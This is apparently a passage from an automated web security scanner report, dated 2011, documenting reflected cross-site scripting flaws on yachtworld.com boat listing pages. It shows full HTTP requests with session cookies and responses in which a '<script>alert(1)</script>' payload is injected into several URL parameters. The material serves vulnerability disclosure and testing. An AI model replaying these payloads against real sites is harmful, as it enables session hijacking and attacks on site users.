HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 20:59:56 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 62732
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/bluewaterc9ea6<scri ...[SNIP]... </script>74d178365e9/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/bluewaterc9ea6<script>alert(1)</script>74d178365e9/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/bluewaterc9ea6<script> ...[SNIP]...
The value of the office_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 925d7"><script>alert(1)</script>61a123d4d1a was submitted in the office_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /bluewater/email.cgi?url=bluewater&office_id=7582925d7"><script>alert(1)</script>61a123d4d1a&boat_id=2061801&hosturl=bluewater&&ywo=bluewater&&includeNav=true HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 22:59:47 GMT Server: Apache Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!-- this file is generated automatically --> <!-- any changes you make will be written over --> <html> <head> <TITLE>Bluewater Yacht Sales (Hampton, VA)</TITLE> <META name="keywords" content ...[SNIP]... <INPUT TYPE="hidden" NAME="office_id" VALUE="7582925d7"><script>alert(1)</script>61a123d4d1a"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b36c4"><script>alert(1)</script>0acf81a8360 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32-Fs-1930392/Toms-Riverb36c4"><script>alert(1)</script>0acf81a8360/NJ/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:52 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 25 Jan 2011 16:08:22 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1930392%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B99%2C900%5B%25%5DToms+River%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F3%2F0%2F3%2F1930392_8_mini.jpg%3F1282080988000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-1930392%2FToms-River%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:51 GMT Set-Cookie: VIEWED_BOATS_STORE=1930392%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B99%2C900%5B%25%5DToms+River%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F3%2F0%2F3%2F1930392_8_mini.jpg%3F1282080988000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-1930392%2FToms-River%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17efc"><script>alert(1)</script>29999bc62e was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32-Fs-1930392/Toms-River/NJ17efc"><script>alert(1)</script>29999bc62e/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:25 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 25 Jan 2011 16:08:22 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1930392%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B99%2C900%5B%25%5DToms+River%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F3%2F0%2F3%2F1930392_8_mini.jpg%3F1282080988000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-1930392%2FToms-River%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:25 GMT Set-Cookie: VIEWED_BOATS_STORE=1930392%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B99%2C900%5B%25%5DToms+River%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F3%2F0%2F3%2F1930392_8_mini.jpg%3F1282080988000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-1930392%2FToms-River%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db200"><script>alert(1)</script>b62163eb756 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32-Fs-1930392/Toms-River/NJ/United-Statesdb200"><script>alert(1)</script>b62163eb756 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 